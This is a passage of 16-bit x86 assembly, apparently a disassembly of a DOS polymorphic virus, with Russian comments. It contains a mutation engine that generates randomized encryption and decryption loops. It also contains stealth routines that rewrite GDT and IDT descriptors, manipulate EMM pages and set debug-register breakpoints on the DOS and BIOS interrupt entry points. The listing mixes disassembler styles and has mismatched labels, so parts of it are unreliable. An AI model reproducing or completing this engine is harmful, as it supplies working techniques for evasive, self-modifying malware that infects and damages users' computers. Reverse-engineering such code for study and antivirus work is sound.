LoOfs           dw      00                      ;008cc ..
HiOfs           dw      00                      ;008ce ..
d008d0          db      00,00                   ;008d0 ..
key             dw      00                      ;008d2 ..
d008d4          db      00,00                   ;008d4 ..
d008d6          db      00,00                   ;008d6 ..
d008d8          db      00,00                   ;008d8 ..
d008da          db      00,00                   ;008da ..
;-----------------------------------------------------
coder              endp

;<008dc>
s8              proc near
d009ba          equ     0009bah
d009f7          equ     0009f7h
d009fe          equ     0009feh
                mov     WORD PTR ds:d000b4,di   ;008dc
                mov     WORD PTR ds:d000b2,bp   ;008e0
                mov     WORD PTR ds:d0009c,0000h ;008e4
                mov     BYTE PTR ds:d00084,0c3h ;008ea
                mov     WORD PTR ds:d000ac,cx   ;008ef
                push    cs                      ;008f3
                pop     es                      ;008f4
                sub     ax,bx                   ;008f5
                call    get_key ;<00d8d>            ;008f7
                add     ax,bx                   ;008fa
                mov     WORD PTR ds:d000a2,ax   ;008fc
                add     di,ax                   ;008ff
                repz    movsb  ;00901           ;Mov DS:[SI]->ES:[DI]
                mov     ax,0002h                ;00903
                call    get_key ;<00d8d>            ;00906
                mov     WORD PTR ds:d000aa,ax   ;00909
                mov     ax,0005h                ;0090c
                call    get_key ;<00d8d>            ;0090f
                add     al,0ah                  ;00912
                xchg    ax,cx                   ;00914
                mov     ax,WORD PTR ds:d000a2   ;00915
                div     cl                      ;00918
                sub     cl,04                   ;0091a
                mov     BYTE PTR ds:d000ae,cl   ;0091d
                xor     ah,ah ;00921            ;Load register w/ 0
                mov     WORD PTR ds:d000a4,ax   ;00923
                mov     al,03                   ;00926
                call    get_key ;<00d8d>            ;00928
                inc     al                      ;0092b
                or      BYTE PTR ds:d009ba,al   ;0092d
                mov     BYTE PTR ds:d00d77,al   ;00931
                call    s11 ;<00b36>            ;00934
                mov     di,WORD PTR ds:d000b4   ;00937
                call    s12 ;<00b3e>            ;0093b
                mov     bx,0a27h                ;0093e
                add     bx,WORD PTR ds:d000aa   ;00941
                mov     al,BYTE PTR [bx]        ;00945
                mov     BYTE PTR ds:d000af,al   ;00947
                mov     dl,BYTE PTR [bx+02]     ;0094a
                mov     BYTE PTR ds:d00d78,dl   ;0094d
                mov     bp,WORD PTR ds:d000a2   ;00951
                add     bp,WORD PTR ds:d000b2   ;00955
                call    s11 ;<00b36>            ;00959
                call    s10 ;<00ad3>            ;0095c
                mov     dl,BYTE PTR ds:d00d77   ;0095f
                mov     bp,WORD PTR ds:d000ac   ;00963
                call    s11 ;<00b36>            ;00967
                shr     cx,1 ;0096a             ;Divide by 2's
                call    s10 ;<00ad3>            ;0096c
                mov     BYTE PTR ds:d00d7a,01   ;0096f
                mov     WORD PTR ds:d000a0,di   ;00974
                call    s11 ;<00b36>            ;00978
                shr     cx,1 ;0097b             ;Divide by 2's
                call    s12 ;<00b3e>            ;0097d
                mov     cl,BYTE PTR ds:d000ae   ;00980
                xor     ch,ch ;00984            ;Load register w/ 0
b00986:         push    cx                      ;00986
                call    s9 ;<00a2b>             ;00987
                call    s11 ;<00b36>            ;0098a
                call    s12 ;<00b3e>            ;0098d
                pop     cx                      ;00990
                loop    b00986 ;00991           ;Dec CX;Loop if CX>0
                mov     al,40h                  ;00993
                or      al,BYTE PTR ds:d00d78   ;00995
                stosb    ;00999                 ;Store AL at ES:[DI]
                call    s11 ;<00b36>            ;0099a
                call    s12 ;<00b3e>            ;0099d
                mov     cx,di                   ;009a0
                sub     cx,WORD PTR ds:d000a0   ;009a2
                inc     cx                      ;009a6
                inc     cx                      ;009a7
                push    si                      ;009a8
                mov     si,09bah                ;009a9
                movsw    ;009ac                 ;Mov DS:[SI]->ES:[DI]
                movsw    ;009ad                 ;Mov DS:[SI]->ES:[DI]
                movsw    ;009ae                 ;Mov DS:[SI]->ES:[DI]
                pop     si                      ;009af
                add     cx,04                   ;009b0
                neg     cx                      ;009b3
                mov     WORD PTR [di-02],cx     ;009b5
                jmp     short b009c8            ;009b8
                dec     ax                      ;009ba
                jz      m009c0 ;009bb           ;Jump if equal (ZF=1)
                jmp     m009c0                  ;009bd
m009c0:         mov     al,0e2h                 ;009c0
                stosb    ;009c2                 ;Store AL at ES:[DI]
                xchg    al,cl                   ;009c3
                neg     al                      ;009c5
                stosb    ;009c7                 ;Store AL at ES:[DI]
b009c8:         mov     cx,WORD PTR ds:d000a2   ;009c8
                add     cx,WORD PTR ds:d000b4   ;009cc
                sub     cx,di                   ;009d0
                mov     BYTE PTR ds:d00d7a,00   ;009d2
                call    s12 ;<00b3e>            ;009d7
                push    di                      ;009da
                mov     cx,WORD PTR ds:d000ac   ;009db
                mov     bx,WORD PTR ds:d000a2   ;009df
                add     bx,WORD PTR ds:d000b4   ;009e3
                mov     al,BYTE PTR ds:d00d78   ;009e7
                or      BYTE PTR ds:d009f7,al   ;009ea
                or      BYTE PTR ds:d009fe,al   ;009ee
                mov     ax,WORD PTR ds:data_93   ;009f2
                sti      ;009f5                 ;Turn ON Interrupts
                mov     ax,bx                   ;009f6
b009f8:         cli      ;009f8                 ;Turn OFF Interrupts
                call    WORD PTR ds:data_93      ;009f9
                sti      ;009fd                 ;Turn ON Interrupts
                inc     ax                      ;009fe
                loop    b009f8 ;009ff           ;Dec CX;Loop if CX>0
                pop     cx                      ;00a01
                mov     dx,WORD PTR ds:d000b4   ;00a02
                sub     cx,dx                   ;00a06
                add     cx,WORD PTR ds:d000ac   ;00a08
                mov     WORD PTR ds:data_93,0084h ;00a0c
                mov     WORD PTR ds:data_94,0084h ;00a12
                mov     al,0f8h                 ;00a18
                and     BYTE PTR ds:d009f7,al   ;00a1a
                and     BYTE PTR ds:d009fe,al   ;00a1e
                and     BYTE PTR ds:d009ba,al   ;00a22
                ret                             ;00a26
;-----------------------------------------------------
                add     al,05                   ;00a27
                push    es                      ;00a29
                pop     es                      ;00a2a
s8              endp

;<00a2b>
s9              proc near
                mov     ax,0007h                ;00a2b
                call    get_key ;<00d8d>            ;00a2e
                sal     ax,02                   ;00a31
                mov     si,offset data100       ;00a34
                add     si,ax                   ;00a37
                mov     bx,WORD PTR ds:data_93  ;00a39
                cmp     al,14h                  ;00a3d
                ja      b00a78 ;00a3f           ;Jump if >  (no sign)
                mov     cx,WORD PTR [si]        ;00a41
                or      ch,BYTE PTR ds:d000af   ;00a43
                mov     WORD PTR [di],cx        ;00a47
                mov     cx,WORD PTR [si+02]     ;00a49
                or      ch,BYTE PTR ds:d000af   ;00a4c
                scasw    ;00a50                 ;Flags = AX - ES:[DI]
                cmp     al,0ch                  ;00a51
                jb      b00a5e ;00a53           ;Jump if <  (no sign)
                mov     WORD PTR [bx-02],cx     ;00a55
                sub     WORD PTR ds:data_93,02   ;00a58
                ret                             ;00a5d
b00a5e:
                mov     al,0ffh                 ;00a5e
                call    get_key ;<00d8d>            ;00a60
                mov     WORD PTR ds:d0009c,di   ;00a63
                mov     WORD PTR ds:d0009e,bx   ;00a67
                stosb    ;00a6b                 ;Store AL at ES:[DI]
                mov     WORD PTR [bx-03],cx     ;00a6c
                mov     BYTE PTR [bx-01],al     ;00a6f
                sub     WORD PTR ds:data_93,03   ;00a72
                ret                             ;00a77
b00a78:
                cmp     WORD PTR ds:d0009c,00   ;00a78
                jz      b00ab6 ;00a7d           ;Jump if equal (ZF=1)
                mov     bx,WORD PTR ds:data_94   ;00a7f
                mov     ax,WORD PTR [si]        ;00a83
                stosw    ;00a85                 ;Store AX at ES:[DI]
                mov     ax,WORD PTR [si+02]     ;00a86
                mov     WORD PTR [bx],ax        ;00a89
                mov     ax,WORD PTR ds:d0009c   ;00a8b
                add     ax,WORD PTR ds:d000b2   ;00a8e
                sub     ax,WORD PTR ds:d000b4   ;00a92
                stosw    ;00a96                 ;Store AX at ES:[DI]
                mov     ax,WORD PTR ds:d0009e   ;00a97
                dec     ax                      ;00a9a
                mov     WORD PTR [bx+02],ax     ;00a9b
                mov     al,0ffh                 ;00a9e
                call    get_key ;<00d8d>            ;00aa0
                stosb    ;00aa3                 ;Store AL at ES:[DI]
                mov     BYTE PTR [bx+04],al     ;00aa4
                add     WORD PTR ds:data_94,05   ;00aa7
                mov     BYTE PTR [bx+05],0c3h   ;00aac
                mov     WORD PTR ds:d0009c,0000h ;00ab0
b00ab6:         ret                             ;00ab6
;-----------------------------------------------------
data100         db      80,30,80,30,80,00       ;00ab7 .0.0..
                db      80,28,0c0,00,0c0,08     ;00abd .(....
                db      0d0,00,0d0,08,0f6,18    ;00ac3 ......
                db      0f6,18,0fe,00,0fe,08    ;00ac9 ......
                db      80,06,80,06             ;00acf ....
;-----------------------------------------------------
s9              endp

;<00ad3>
s10             proc near
                mov     ax,0004h                ;00ad3
                call    get_key ;<00d8d>            ;00ad6
                mov     si,offset data_68       ; (83DC:0B26=0)
                xchg    al,ah
                aad     3                       ; undocumented inst
                add     si,ax
                lodsb                           ; String [si] to al
                shl     ax,1                    ; Shift w/zeros fill
                xchg    bx,ax
                call    word ptr data_66[bx]    ;*(83DC:0AEB=0AEFh)  2 entries
data_66         dw      offset sub_12           ; Data table (indexed access) (0AEF)
data_67         dw      offset sub_13           ; (0AF9)

sub_12          proc    near
                movsw                           ; Mov [si] to es:[di]
                or      [di-1],dl
                xchg    bp,ax
                stosw                           ; Store ax to es:[di]
                call    s12                     ; (0B3E)
                retn
sub_12          endp

sub_13          proc    near
                push    si
                push    dx
                mov     ax,2
                call    sub_30                  ; (0D8D)
                shl     ax,1                    ; Shift w/zeros fill
                add     ax,0B32h
                xchg    si,ax
                movsw                           ; Mov [si] to es:[di]
                or      [di-1],dl
                shl     dl,3                    ; Shift w/zeros fill
                or      [di-1],dl
                shr     cx,1                    ; Shift w/zeros fill
                push    cx
                push    bp
                call    s13                  ; (0B3E)
                pop     bp
                pop     cx
                pop     dx
                pop     si
                movsw                           ; Mov [si] to es:[di]
                or      [di-1],dl
                xchg    bp,ax
                stosw                           ; Store ax to es:[di]
                call    s13                  ; (0B3E)
                retn
sub_13          endp
;-----------------------------------------------------
data_68         db      00,0c7,0c0,01,81,0c8    ;00b26 ......
                db      01,81,0c0,01,81,0f0     ;00b2c ......
                db      29,0c0                  ;00b32 ).
;-----------------------------------------------------
                xor     ax,ax                   ;00b34

;<00b36>
s11             proc near
                mov     ax,WORD PTR ds:d000a4   ;00b36
                call    get_key ;<00d8d>            ;00b39
                xchg    ax,cx                   ;00b3c
                ret                             ;00b3d
s11             endp

;<00b3e>
s12             proc near
                and     cx,cx                   ;00b3e
                jnz     b00b43 ;00b40           ;Jump not equal(ZF=0)
                ret                             ;00b42
b00b43:         mov     si,offset fun11         ;00b43
m00b46:         mov     ax,001fh                ;00b46
                call    get_key ;<00d8d>            ;00b49
                mov     dl,al                   ;00b4c
                inc     dl                      ;00b4e
b00b50:         mov     al,BYTE PTR [si]        ;00b50
                cmp     al,4eh ;(N)             ;00b52
                jnz     b00b5b ;00b54           ;Jump not equal(ZF=0)
                mov     si,offset fun11         ;00b56
                jmp     short b00b50            ;00b59
b00b5b:         mov     dh,al                   ;00b5b
                and     al,0fh                  ;00b5d
                cbw      ;00b5f                 ;Convrt AL into AX
                and     dl,dl                   ;00b60
                jz      b00b71 ;00b62           ;Jump if equal (ZF=1)
                dec     dl                      ;00b64
                shr     dh,04                   ;00b66
                add     al,dh                   ;00b69
                add     si,ax                   ;00b6b
                inc     si                      ;00b6d
                inc     si                      ;00b6e
                jmp     short b00b50            ;00b6f
b00b71:         push    cx                      ;00b71
                sub     cx,ax                   ;00b72
                test    ch,80h ;00b74           ;Flags=Arg1 AND Arg2
                pop     cx                      ;00b77
                jnz     m00b46 ;00b78           ;Jump not equal(ZF=0)
                mov     WORD PTR ds:d00d74,cx   ;00b7a
                mov     bl,BYTE PTR [si+01]     ;00b7e
                cmp     BYTE PTR ds:d00d72,bl   ;00b81
                ja      m00b46 ;00b85           ;Jump if >  (no sign)
                mov     bh,bl                   ;00b87
                test    bl,40h ;00b89           ;Flags=Arg1 AND Arg2
                jnz     b00b95 ;00b8c           ;Jump not equal(ZF=0)
                cmp     BYTE PTR ds:d00d7a,01   ;00b8e
                jz      m00b46 ;00b93           ;Jump if equal (ZF=1)
b00b95:         push    ax                      ;00b95
                mov     ax,003fh                ;00b96
                and     bl,al                   ;00b99
                call    get_key ;<00d8d>            ;00b9b
                cmp     bl,al                   ;00b9e
                pop     ax                      ;00ba0
                jb      m00b46 ;00ba1           ;Jump if <  (no sign)
                inc     si                      ;00ba3
                push    si                      ;00ba4
                push    cx                      ;00ba5
                xor     bx,bx ;00ba6            ;Load register w/ 0
                mov     bl,dh                   ;00ba8
                and     bl,0f0h                 ;00baa
                shr     bl,04                   ;00bad
                inc     bx                      ;00bb0
                mov     cx,ax                   ;00bb1
                push    si                      ;00bb3
                push    di                      ;00bb4
                add     si,bx                   ;00bb5
                repz    movsb  ;00bb7           ;Mov DS:[SI]->ES:[DI]
                pop     di                      ;00bb9
                pop     si                      ;00bba
                mov     cx,bx                   ;00bbb
                dec     cx                      ;00bbd
                jcxz    b00bdb ;00bbe           ;Jump if CX = ZERO
b00bc0:         inc     si                      ;00bc0
                mov     al,BYTE PTR [si]        ;00bc1
                mov     dl,al                   ;00bc3
                and     al,0fh                  ;00bc5
                cbw      ;00bc7                 ;Convrt AL into AX
                mov     bp,ax                   ;00bc8
                mov     al,dl                   ;00bca
                and     al,0f0h                 ;00bcc
                shr     al,03                   ;00bce
                mov     bx,ax                   ;00bd1
                add     bx,0c12h                ;00bd3
                call    WORD PTR [bx]           ;00bd7
                loop    b00bc0 ;00bd9           ;Dec CX;Loop if CX>0
b00bdb:         pop     cx                      ;00bdb
                pop     si                      ;00bdc
                mov     al,dh                   ;00bdd
                and     al,0fh                  ;00bdf
                cbw      ;00be1                 ;Convrt AL into AX
                shr     dh,04                   ;00be2
                sub     cx,ax                   ;00be5
                add     di,ax                   ;00be7
                add     al,dh                   ;00be9
                add     si,ax                   ;00beb
                inc     si                      ;00bed
                mov     al,BYTE PTR ds:d00d72   ;00bee
                and     al,al                   ;00bf1
                jz      b00c06 ;00bf3           ;Jump if equal (ZF=1)
                test    al,80h ;00bf5           ;Flags=Arg1 AND Arg2
                jnz     b00c06 ;00bf7           ;Jump not equal(ZF=0)
                add     cx,di                   ;00bf9
                mov     di,WORD PTR ds:d0009a   ;00bfb
                sub     cx,di                   ;00bff
                mov     BYTE PTR ds:d00d72,00   ;00c01
b00c06:         and     cx,cx                   ;00c06
                jz      b00c0d ;00c08           ;Jump if equal (ZF=1)
                jmp     m00b46                  ;00c0a
b00c0d:         mov     WORD PTR ds:d0009a,di   ;00c0d
                ret                             ;00c11
s12             endp
;-----------------------------------------------------
                dw      offset fun01
                dw      offset fun02
                dw      offset s14
                dw      offset fun03
                dw      offset s15
                dw      offset fun04
                dw      offset fun05
                dw      offset fun06
                dw      offset fun01
                dw      offset fun07
                dw      offset fun08
                dw      offset fun09
                dw      offset fun10
;-----------------------------------------------------
fun01:
                mov     al,0ffh                 ;00c2c
                call    get_key ;<00d8d>            ;00c2e
                mov     BYTE PTR es:[bp+di],al  ;00c31
                test    dl,80h ;00c34           ;Flags=Arg1 AND Arg2
                jz      b00c42 ;00c37           ;Jump if equal (ZF=1)
                mov     al,0ffh                 ;00c39
                call    get_key ;<00d8d>            ;00c3b
                mov     BYTE PTR es:[bp+di+01],al ;00c3e
b00c42:         ret                             ;00c42

;<00c43>
s13             proc near
                mov     al,0f0h                 ;00c43
                call    get_key ;<00d8d>            ;00c45
                and     al,80h                  ;00c48
                mov     ah,al                   ;00c4a
                shr     al,1 ;00c4c             ;Divide by 2's
                or      al,ah                   ;00c4e
                or      BYTE PTR es:[bp+di],al  ;00c50
                ret                             ;00c53
s13             endp

;<00c54>
s14:
                mov     al,0f0h                 ;00c54
                call    get_key ;<00d8d>            ;00c56
                and     al,07                   ;00c59
                cmp     al,BYTE PTR ds:d00d76   ;00c5b
                jz      s14 ;<00c54> ;00c5f     ;Jump if equal (ZF=1)
                cmp     al,BYTE PTR ds:d00d78   ;00c61
                jz      s14 ;<00c54> ;00c65     ;Jump if equal (ZF=1)
                push    ax                      ;00c67
                and     al,03                   ;00c68
                cmp     al,BYTE PTR ds:d00d77   ;00c6a
                pop     ax                      ;00c6e
                jz      s14 ;<00c54> ;00c6f     ;Jump if equal (ZF=1)
                or      BYTE PTR es:[bp+di],al  ;00c71
                mov     BYTE PTR ds:d000b6,al   ;00c74
                ret                             ;00c77
;-----------------------------------------------------
fun04:
                mov     al,06                   ;00c78
                call    get_key ;<00d8d>            ;00c7a
                add     BYTE PTR es:[bp+di],al  ;00c7d
                ret                             ;00c80

;<00c81>
s15:
                mov     al,80h                  ;00c81
                call    get_key ;<00d8d>            ;00c83
                and     al,07                   ;00c86
                cmp     al,06                   ;00c88
                jz      s15 ;<00c81> ;00c8a     ;Jump if equal (ZF=1)
                or      BYTE PTR es:[bp+di],al  ;00c8c
                ret                             ;00c8f
;-----------------------------------------------------
fun03:
                call    s13 ;<00c43>            ;00c90
                call    s15 ;<00c81>            ;00c93
                ret                             ;00c96
;-----------------------------------------------------
fun05:
                call    s14 ;<00c54>            ;00c97
                sal     BYTE PTR es:[bp+di],03  ;00c9a
                call    s15 ;<00c81>            ;00c9e
                call    s13 ;<00c43>            ;00ca1
                ret                             ;00ca4
;-----------------------------------------------------
fun02:
                mov     al,0fh                  ;00ca5
                call    get_key ;<00d8d>            ;00ca7
                sal     al,03                   ;00caa
                or      BYTE PTR es:[bp+di],al  ;00cad
                call    s14 ;<00c54>            ;00cb0
                ret                             ;00cb3
;-----------------------------------------------------
fun06:
                mov     al,10h                  ;00cb4
                call    get_key ;<00d8d>            ;00cb6
                or      BYTE PTR es:[bp+di-01],al ;00cb9
                mov     ax,WORD PTR ds:d00d74   ;00cbd
                dec     ax                      ;00cc0
                dec     ax                      ;00cc1
                call    get_key ;<00d8d>            ;00cc2
                and     ax,003fh                ;00cc5
                mov     BYTE PTR es:[bp+di],al  ;00cc8
                cbw      ;00ccb                 ;Convrt AL into AX
                pusha                           ;00ccc
                mov     cx,ax                   ;00ccd
                or      al,80h                  ;00ccf
                mov     BYTE PTR ds:d00d72,al   ;00cd1
                add     di,bp                   ;00cd4
                inc     di                      ;00cd6
                call    s12 ;<00b3e>            ;00cd7
                and     BYTE PTR ds:d00d72,7fh  ;00cda
                popa                            ;00cdf
                ret                             ;00ce0
;-----------------------------------------------------
fun07:
                mov     bl,BYTE PTR es:[bp+di]  ;00ce1
                mov     BYTE PTR es:[bp+di],00  ;00ce4
                call    s14 ;<00c54>            ;00ce8
                sal     BYTE PTR es:[bp+di],03  ;00ceb
                or      BYTE PTR es:[bp+di],bl  ;00cef
                ret                             ;00cf2
;-----------------------------------------------------
fun09:
                mov     al,BYTE PTR ds:d000b6   ;00cf3
                or      BYTE PTR es:[bp+di],al  ;00cf6
                ret                             ;00cf9
;-----------------------------------------------------
fun08:
                mov     ax,di                   ;00cfa
                sub     ax,WORD PTR ds:d000b4   ;00cfc
                add     ax,WORD PTR ds:d000b2   ;00d00
                add     WORD PTR es:[bp+di],ax  ;00d04
                ret                             ;00d07
;-----------------------------------------------------
fun10:
                mov     al,BYTE PTR ds:d000b6   ;00d08
                sal     al,03                   ;00d0b
                or      BYTE PTR es:[bp+di],al  ;00d0e
                ret                             ;00d11
;-----------------------------------------------------
fun11:
                and     di,di                   ;00d12
                xor     WORD PTR [bp+si],ax     ;00d14
                test    BYTE PTR [bx+si],00 ;00d16 ;Flags=Arg1 AND Arg2
                adc     di,di                   ;00d19
                push    ax                      ;00d1b
                clc                             ;00d1c
                adc     bh,BYTE PTR [bx+71h]    ;00d1d
                jo      b00d22 ;00d20           ;Jump on Overflow
b00d22:         and     al,0ffh                 ;00d22
                adc     WORD PTR [bp+si+0c081h],ax ;00d24
                add     BYTE PTR [bx+si],al     ;00d28
                adc     di,di                   ;00d2a
                and     BYTE PTR [bx+si+11h],cl ;00d2c
                jmp     WORD PTR [bx+si]        ;00d2f
                nop                             ;00d31
                adc     bh,bh                   ;00d32
                adc     cx,dx                   ;00d34
                rcl     BYTE PTR [bx+di],0ffh   ;00d36
                and     BYTE PTR [bx+si+0ff12h],dl ;00d39
                and     di,si                   ;00d3d
                fcom    DWORD PTR [bp+si]       ;00d3f
                jmp     WORD PTR [bx+di+38h]    ;00d41
                add     BYTE PTR [bp+di],ah     ;00d44
                jmp     WORD PTR [bx+si]        ;00d46
                cmp     WORD PTR [bx+si+0000],0ff11h ;00d48
                and     BYTE PTR [bx+si+12h],al ;00d4e
                inc     WORD PTR [bx+di]        ;00d51
                in      al,00 ;00d53            ;000-007:DMA controller 1
                and     al,0ffh                 ;00d55
                xchg    ax,cx                   ;00d57
                or      BYTE PTR [bp+si+0006],00 ;00d58
                xor     ax,41ffh                ;00d5d
                add     BYTE PTR [si],80h       ;00d60
                mov     ax,0000h                ;00d63
                add     BYTE PTR [bp+si],dl     ;00d66
                jmp     WORD PTR [bx+di]        ;00d68
;-----------------------------------------------------
                db      0f7,0d0,12,0ff,61,0a    ;00d6a ....a.
                db      00,4e                   ;00d70 .N
d00d72          db      00,00                   ;00d72 ..
d00d74          db      00,00                   ;00d74 ..
d00d76          db      04                      ;00d76 .
d00d77          db      81                      ;00d77 .
d00d78          db      86,80                   ;00d78 ..
d00d7a          db      00                      ;00d7a .
;-----------------------------------------------------

;<00d7b>
GetTime         proc near
                pusha                           ;схоронить
                mov     ah,2ch                  ;взять время
                call    DOSInt                  ;int21
                mov     WORD PTR cs:HHMM,cx     ;часы,минуты
                mov     WORD PTR cs:SSMS,dx     ;секунды,доли сек
                popa                            ;вернуть
                ret                             ;отвалить
GetTime         endp

;<00d8d>
get_key         proc near
                pusha
                call    alter_time
                mov     bx,sp                   ;bx на стек
                mov     cx,dx                   ;00d93
                mul     WORD PTR ss:[bx+0eh]    ;00d95
                mov     ax,cx                   ;00d99
                mov     cx,dx                   ;00d9b
                mul     WORD PTR ss:[bx+0eh]    ;00d9d
                add     ax,cx                   ;00da1
                adc     dx,00                   ;00da3
                mov     WORD PTR ss:[bx+0eh],dx ;00da6
                popa
                ret
get_key         endp

;<00dac>
alter_time      proc near
                mov     ax,WORD PTR cs:HHMM     ;00dac
                mov     bx,WORD PTR cs:SSMS     ;00db0
                mov     cx,ax                   ;00db5
                mul     WORD PTR cs:data_90     ;00db7
                sal     cx,03                   ;00dbc
                add     ch,cl                   ;00dbf
                add     dx,cx                   ;00dc1
                add     dx,bx                   ;00dc3
                sal     bx,02                   ;00dc5
                add     dx,bx                   ;00dc8
                add     dh,bl                   ;00dca
                sal     bx,05                   ;00dcc
                add     dh,bl                   ;00dcf
                add     ax,0001h                ;00dd1
                adc     dx,00                   ;00dd4
                mov     WORD PTR cs:HHMM,ax     ;00dd7
                mov     WORD PTR cs:SSMS,dx     ;00ddb
                ret
alter_time      endp
;-----------------------------------------------------
data_90         dw      8405h                   ; de1 xref 83DC:0DB7
HHMM            dw      0                       ; de3 xref 83DC:089A, 08AD, 0D81, 0DAC,0DD7
SSMS            dw      0                       ; de5 xref 83DC:089E, 08A9, 0D86, 0DB0,0DDB
data_93         dw      84h                     ; de7 xref 83DC:09F2, 09F9, 0A0C, 0A39,0A58, 0A72
data_94         dw      84h                     ; de9 xref 83DC:0A12, 0A7F, 0AA7
;------------------------------------------------------
is_time:
                call    set_ds
                mov     ax,ss
                mov     es,ax
                mov     si,WORD PTR cs:AdrPages ;в нашей страничке
                mov     BYTE PTR [esi+busy],00  ;заняты
                mov     esp,DWORD PTR cs:d00044 ;из стека параметр
                mov     edi,esp                 ;грузим
                mov     ecx,00000011h           ;1-ые 44 байта кода
                cld                             ;Forward String Opers
                repz    movsd                   ;эмулим pushad?
                push    ds                      ;es
                pop     es                      ;на место
                xor     ebp,ebp                 ;1-ый дескриптор
                mov     esi,00000090h           ;
load_desc:
                ;берем старый
                mov     edx,DWORD PTR cs:[AdrPages+10h+ebp*4]
                call    desc_edx
                inc     esi                     ;далее
                inc     bp                      ;сл.дескриптор
                cmp     bp,03                   ;3 дескриптора
                jnz     load_desc               ;нет-продолжим
end_21:
                xor     ax,ax                   ;Load register w/ 0
                mov     ds,ax
                mov     es,ax
                popad
                iretd                           ;POP flags and Return

;<00e3e>
desc_edx        proc near
                ;установить дескриптор в edx
                mov     edi,DWORD PTR cs:ram_page ;в ОЗУ
                mov     ebx,DWORD PTR [edi+esi*4] ;вытаскиваем
                mov     dl,67h                    ;в памяти
                mov     DWORD PTR [edi+esi*4],edx ;кладем
                mov     ax,cr3
                mov     cr3,ax
                ret
desc_edx        endp

;<00e57>
GetUMB          proc near
                movzx   ebx,WORD PTR ds:TSR_CS  ;16cs -> 32cs
                sal     ebx,04                  ;выравниваем
                add     ebx,00000f4fh           ;за себя
                mov     DWORD PTR ds:CS_32,ebx ;куда-то за код
                add     ebx,06                  ;00e6d
                add     DWORD PTR ds:Seg_32,ebx ;00e71
                mov     cx,WORD PTR ds:Buf_GDT  ;берем таблицу
                mov     es,cx                   ;сохраняем
                shr     cx,08                   ;номер страницы
                mov     ax,0de06h               ;получить физ.адрес страницы
                call    EMMInt                  ;в первом метре
                mov     DWORD PTR ds:UMB1,edx
                mov     ax,0de06h               ;еще одну
                mov     cx,es                   ;другой
                shr     cx,08                   ;номер
                inc     cx
                call    EMMInt                  ;int67
                or      dl,07                   ;чуть сдвинем
                mov     DWORD PTR es:UMB2,edx   ;и запомним в UMB1
                ret
GetUMB          endp

;<00ea0>
EMMInt          proc near
                int     67h ;00ea0              ;функция EMM:
                and     ah,ah                   ;ошибки
                jz      EMMOk                   ;есть?
                pop     ax                      ;00ea6
                jmp     NotEMM                  ;00ea7
EMMOk:          ret                             ;00eaa
EMMInt          endp

;<00eab>
SetDesc         proc near
                ;устанавливает дескриптор таблицы
                ;ds:esi-адрес таблицы
                ;ax  - смещение дескриптора
                ;ebx - 20 разрядный предел
                ;ecx - 32 разрядная база
                ;dl  - 0(доступ),1-3(код или данные),4(системный сег-т)
                ;      5-6(DPL),7(присутсвие в ОЗУ)
                ;dh  - 6(разрядность),7(в чем предел)
                movzx   eax,ax                   ;16ax->32ax
                ;устанавливаем мл.слово дескриптора(предел,база)
                mov     WORD PTR [esi+eax],bx    ;предел 0-15
                shr     ebx,10h                  ;получаем ст.байт размера
                mov     WORD PTR [esi+eax+02],cx ;база 0-15
                shr     ecx,10h                  ;ст.байт базы
                mov     BYTE PTR [esi+eax+04],cl ;база 16-23
                mov     BYTE PTR [esi+eax+05],dl ;A,тип,S,DPL,P
                and     bl,0fh                   ;только мл.тэтрада
                or      dh,bl                    ;AVL,G+предел 16-19
                mov     BYTE PTR [esi+eax+06],dh ;запомнили
                mov     BYTE PTR [esi+eax+07],ch ;база 24-31
                ret
SetDesc         endp

;<00eda>
set_brk         proc near
                mov     eax,DWORD PTR cs:int21adr ;останов на DOS
                mov     dr0,ax
                mov     eax,000fe05bh             ;останов на BIOS
                mov     dr1,ax
                xor     eax,eax ;00eeb          ;никаких
                mov     dr6,ax                  ;условий
                mov     eax,0000020ah           ;разрешить
                mov     dr7,ax                  ;останов
                ret
set_brk         endp

;<00efb>
set_ds          proc near
                mov     ax,cs                   ;00efb
                add     ax,0008h                ;00efd
                mov     ds,ax                   ;00f00
                ret                             ;00f02
set_ds          endp

;<00f03>
set_idt         proc near
                ;переделываем старый IDT
                mov     esi,DWORD PTR es:OldIDT+2  ;база
                mov     bx,WORD PTR [esi+ecx*8+06] ;база ecx дескриптора
                sal     ebx,10h                    ;базу в ст.слово
                mov     bx,WORD PTR [esi+ecx*8]    ;мл.слово базы
                mov     DWORD PTR es:[di],ebx      ;полученное в ячею
                mov     bx,WORD PTR [esi+ecx*8+02] ;предел
                mov     WORD PTR es:[di+04],bx     ;полученное в ячею
                mov     bx,WORD PTR es:OurDesc     ;берем номер дескр.
                mov     WORD PTR [esi+ecx*8+02],bx ;устанавливаем предел
                mov     WORD PTR [esi+ecx*8],ax    ;устанавливаем
                mov     WORD PTR [esi+ecx*8+06],0  ;базу
                ret
;-----------------------------------------------------
UMB1            dd      00                      ;00f39 ....
CS_32           dd      00                      ;00f3d ....
Seg_32          db      6d dup (00h)            ;00f41 (.)
                db      28,00,1bh,04,00,00      ;00f47 (.....
                db      08,00,47,00             ;00f4d ..G.
d00f51          db      00,00,00,00,0ff,0ff     ;00f51 ......
                db      00,00,00,00             ;00f57 ....
exe_or_com      db      00                      ;00f5b .
cs_save         dw      00                      ;00f5c ..
BufPages        dd      00                      ;00f5e
                db      30,00                   ;00f62 0.
len_par         dw      00                      ;00f64 ..
set_idt         endp
UMB2            equ     000000h
d00003          equ     000003h
d0000a          equ     00000ah
d0002c          equ     00002ch
d00044          equ     000044h
d00084          equ     000084h
d00086          equ     000086h
d00094          equ     000094h
time_file       equ     000096h
date_file       equ     000098h
d0009a          equ     00009ah
d0009c          equ     00009ch
d0009e          equ     00009eh
d000a0          equ     0000a0h
d000a2          equ     0000a2h
d000a4          equ     0000a4h
d000aa          equ     0000aah
d000ac          equ     0000ach
d000ae          equ     0000aeh
d000af          equ     0000afh
d000b2          equ     0000b2h
d000b4          equ     0000b4h
d000b6          equ     0000b6h
int20           equ     0000b7h
int1_ptr        equ     $            ;000f66h
int9_ptr        equ     int1_ptr+6   ;000f6ch
int21adr        equ     int9_ptr+6   ;000f72h
TSR_CS          equ     int21adr+4   ;000f76h
OurDesc         equ     TSR_CS+2     ;000f78h
AdrPages        equ     OurDesc+2    ;000f7ah
Buf_GDT         equ     AdrPages+4*7 ;000f96h
busy            equ     BufGDT+2     ;000f98h
ram_page        equ     busy+1       ;000f99h
OldGDT          equ     ram_page+4   ;000f9dh
OldIDT          equ     OldGDT+6     ;000fa3h
d00fa5          equ     OldIDT+2     ;000fa5h
d0109d          equ     00109dh
d0109f          equ     00109fh
